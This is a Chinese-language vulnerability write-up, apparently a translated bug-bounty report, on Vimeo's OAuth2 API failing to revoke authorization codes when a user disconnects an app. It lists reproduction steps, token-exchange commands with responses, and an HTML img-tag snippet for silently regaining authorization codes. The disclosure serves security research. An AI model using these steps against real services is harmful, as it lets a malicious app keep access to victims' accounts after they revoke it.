api漏洞系列-OAuth的一个问题

简介: 漏洞描述OAuth2 API允许用户将访问他们账户的权限授予第三方应用程序。当然,用户能够管理此类应用程序对其帐户的访问,并可能拒绝任何应用程序的访问。当某些用户拒绝对应用程序的访问时,所有的access_token都将被撤销并变得无效。但是除了access_tokens应该被撤销以外,授权码(它是OAuth2授权流中使用的中间令牌)也必须被撤销。 在撤销访问时,Vimeo OAuth2 API没有撤销其授权代码。它可能被利用于恢复访问用户帐户。复现步骤

前言


声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

类型: OAuth API.

1.png2.png

getAccessToken.sh3.png

me.sh4.png

URL GET/POST data: POST METHOD:

https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef

https://avuln.com/callback?state=0123456789abcdef&code=e1fa87cd449ae55b74445b31ac79450c14eeb657


漏洞描述


OAuth2 API允许用户将访问他们账户的权限授予第三方应用程序。当然,用户能够管理此类应用程序对其帐户的访问,并可能拒绝任何应用程序的访问。当某些用户拒绝对应用程序的访问时,所有的access_token都将被撤销并变得无效。但是除了access_tokens应该被撤销以外,授权码(它是OAuth2授权流中使用的中间令牌)也必须被撤销。 在撤销访问时,Vimeo OAuth2 API没有撤销其授权代码。它可能被利用于恢复访问用户帐户。


复现步骤


1)打开应用的OAuth2授权链接;

https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef

2)登录Vimeo帐户(如果需要的话),点击允许;

3)从回调url复制code值,例如:

https://avuln.com/callback?state=0123456789abcdef&code=e1fa87cd449ae55b74445b31ac79450c14eeb657

这里code值为e1fa87cd449ae55b74445b31ac79450c14eeb657

4)使用code值获取access_token:  

$ ./getAccessToken.sh e1fa87cd449ae55b74445b31ac79450c14eeb657
{ 
  "access_token": "d3ac3bb53d1c4ebc3de7d28e4ed801c0", 
  "token_type": "bearer", 
  "scope": "public private", 
  "user": { 
    "uri": "/users/39285903",
    <... CUT OUT ... >
    }

5)检查access_token的有效性

$ ./me.sh d3ac3bb53d1c4ebc3de7d28e4ed801c0
HTTP/1.1 200 OKDate: Tue, 21 Apr 2015 14:10:29 GMTServer: nginxContent-Type: application/vnd.vimeo.user+jsonCache-Control: no-cache, max-age=315360000Expires: Fri, 18 Apr 2025 14:10:29 GMTContent-Length: 2930Accept-Ranges: bytesVia: 1.1 varnishAge: 0X- Served-By: cache-fra1239-FRAX-Cache: MISSX-Cache-Hits: 0X-Timer: S1429625429.334602,VS0,VE203Vary: Accept,Vimeo-Client-Id,Accept-Encoding{ "uri": "/users/39285903",< ... CUT OUT ... >}

6)重复步骤1中我的测试申请链接:https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef

7)重复步骤2登录到你自己的帐户(如果需要),然后单击允许。

注意:不难想象应用程序需要用户再通过一次身份验证。许多应用程序不存储长期会话,而是强迫用户每天甚至经常登录/授权。

注2:OAuth提供程序通常允许使用approval_prompt=auto参数,这使得不需要用户再次单击allow。我没有发现这种可能性的Vimeo API,但如果这可能的,在这种情况下,恶意应用程序只需要把它的网站(或每当在互联网)像下面这样的:

<html>
<img src="https://api.vimeo.com/oauth/authorize?response_type=code&client_id=79658bbee0da8be5254a5137bc0fcc93f7059a2a&redirect_uri=https://avuln.com/callback&scope=public&state=0123456789abcdef">
</html>

这样的代码将“静默地”产生新的access_token值,在用户每次加载它时进行回调。

8)从回调url中复制code值并保存以备以后使用:https://avuln.com/callback?state=0123456789abcdef&code=82e24f835184f47cd83f249907e7bd5018bf62c9

code值为82e24f835184f47cd83f249907e7bd5018bf62c9

9)进入帐户安全设置https://vimeo.com/settings/apps

10)从Apps部分断开应用程序(如果我的测试应用程序使用Dor1s Test1)

11)为了确保访问被拒绝,重复步骤5:

$ ./me.sh d3ac3bb53d1c4ebc3de7d28e4ed801c0
HTTP/1.1 401 Authorization Required
Date: Tue, 21 Apr 2015 14:23:55 
GMTServer: nginx
Content-Type: application/vnd.vimeo.error+json
Cache-Control: no-cache, max- age=315360000WWW-Authenticate: Bearer error="invalid_token"Expires: Fri, 18 Apr 2025 14:23:55 GMTContent-Length: 53Accept-Ranges: bytesVia: 1.1 varnishX-Served-By: cache- fra1245-FRAX-Cache: MISSX-Cache-Hits: 0X-Timer: S1429626235.146346,VS0,VE105Vary: Accept,Vimeo-Client-Id,Accept-Encoding{ "error": "A valid user token must be passed."}

12)使用步骤8中的code值,并将其交换为access_token:

$ ./getAccessToken.sh 82e24f835184f47cd83f249907e7bd5018bf62c9
{ 
  "access_token": "9eabdc746910ea39c07395ee1b69a2b9", 
  "token_type": "bearer",
   "scope": "public private",
    "user": { "uri": "/users/39285903",
    <... CUT OUT ...>
    }

13)检查access_token的有效性:

$ ./me.sh 9eabdc746910ea39c07395ee1b69a2b9
HTTP/1.1 200 OKDate: Tue, 21 Apr 2015 14:25:41 
GMTServer: nginx
Content-Type: application/vnd.vimeo.user+jsonCache-Control: no-cache, max-age=315360000Expires: Fri, 18 Apr 2025 14:25:41 GMTContent-Length: 2930Accept-Ranges: bytesVia: 1.1 varnishAge: 0X- Served-By: cache-fra1235-FRAX-Cache: MISSX-Cache-Hits: 0X-Timer: S1429626341.087757,VS0,VE201Vary: Accept,Vimeo-Client-Id,Accept-Encoding{ "uri": "/users/39285903",<... CUT OUT ...>}


漏洞影响


该漏洞允许恶意应用程序保持对受害者帐户的访问活动,即使访问已经被撤销。不仅绕过了授权,而且还剥夺了受害者管理应用程序访问的能力。

目录
相关文章
|
8月前
|
安全 Java API
解决 Swagger API 未授权访问漏洞:完善分析与解决方案
Swagger 是一个用于设计、构建、文档化和使用 RESTful 风格的 Web 服务的开源软件框架。它通过提供一个交互式文档页面,让开发者可以更方便地查看和测试 API 接口。然而,在一些情况下,未经授权的访问可能会导致安全漏洞。本文将介绍如何解决 Swagger API 未授权访问漏洞问题。
|
1月前
|
JSON 安全 API
【专栏】四种REST API身份验证方法:基本认证、OAuth、JSON Web Token(JWT)和API密钥
【4月更文挑战第28天】本文探讨了四种REST API身份验证方法:基本认证、OAuth、JSON Web Token(JWT)和API密钥。基本认证简单但不安全;OAuth适用于授权第三方应用;JWT提供安全的身份验证信息传递;API密钥适合内部使用。选择方法时需平衡安全性、用户体验和开发复杂性。
|
安全 网络协议 Shell
Docker API未授权漏洞复现
Docker API未授权漏洞复现
756 0
|
安全 API 数据安全/隐私保护
api漏洞系列-通过access_token绕过权限
主要业务逻辑 Zopim仪表板帐户的所有者具有创建代理和禁用代理的能力,当禁用代理时,它限制用户访问他登录到仪表板(这是可以的),但没有使access_token过期。如果access_tokens被重用,我们就可以再次获得对帐户的访问权! 想象一下这样一种情况:所有者创建代理并提供管理访问权,当所有者知道其配置文件时,他只禁用它!但是在这里禁用帐户似乎不安全,帐户可以通过access_token使用。
463 0
|
安全 API Android开发
api漏洞系列-一个越权漏洞
主要逻辑 Fabric平台帮助你构建更稳定的应用程序,通过世界上最大的移动广告交易平台产生收入,并使你能够利用Twitter的登录系统和丰富的实时内容,实现更大的分发和更简单的身份识别; 在注册功能(主要是为公司注册)中,缺少适当的授权检查,允许任何用户窃取API令牌。
224 1
api漏洞系列-一个越权漏洞
|
安全 API 开发工具
api漏洞系列-API权限升级
主要逻辑 使用能够嵌入Crashlytics的fabric SDK,用twitter登录到他们的Android/IOS应用程序。用户可以在https://fabric.io/dashboard上管理/跟踪仪表板上的报告。
112 1
api漏洞系列-API权限升级
|
安全 API
api漏洞系列-shopify中一个越权漏洞
主要逻辑 这是文档中所讲到的应用程序可以访问的范围(https://docs.shopify.com/api/authentication/oauth#scopes),但应用可以请求/获得更多范围的访问权,而其中有些范围本不应该是可访问的。
225 1
api漏洞系列-shopify中一个越权漏洞
|
安全 API
api漏洞系列-越权查看信息
漏洞描述 允许攻击者泄露任何用户私人电子邮件的安全漏洞。 攻击者可以通过创建一个沙箱程序,然后将用户作为参与者添加到报告中,从而泄露任何用户的私人电子邮件。 现在,如果攻击者通过API发出获取报告的请求,响应将在活动对象中包含邀请的用户私人电子邮件。
113 0
|
安全 API
api漏洞系列-OAuth中的race conditions问题
漏洞描述 大多数OAuth2 的API实现在用于处理访问令牌或刷新令牌的请求的时候似乎有多个竞争条件漏洞。 竞争条件允许恶意应用程序获得多个access_token和refresh_token对,而实际上应该只生成一对。而且,当访问被撤销时,它会导致授权绕过。
112 0
api漏洞系列-OAuth中的race conditions问题
|
安全 API iOS开发
api漏洞系列-api速率限制绕过
漏洞描述 该漏洞是关于2FA的绕过,Slack Web应用程序有速率限制实现。在执行4-6次失败的2FA尝试后,速率限制逻辑将被筛选并要求用户等待下一次尝试(防止自动2FA被暴力破解) 使用iOS App(iOS 9.3.3 iPad Air 2)进行相同的测试,发现API端点/API/auth.signin没有该措施。 攻击者可以暴力破解2FA并进入用户(受害者的帐户) 漏洞接口: /api/auth.signin
320 0
api漏洞系列-api速率限制绕过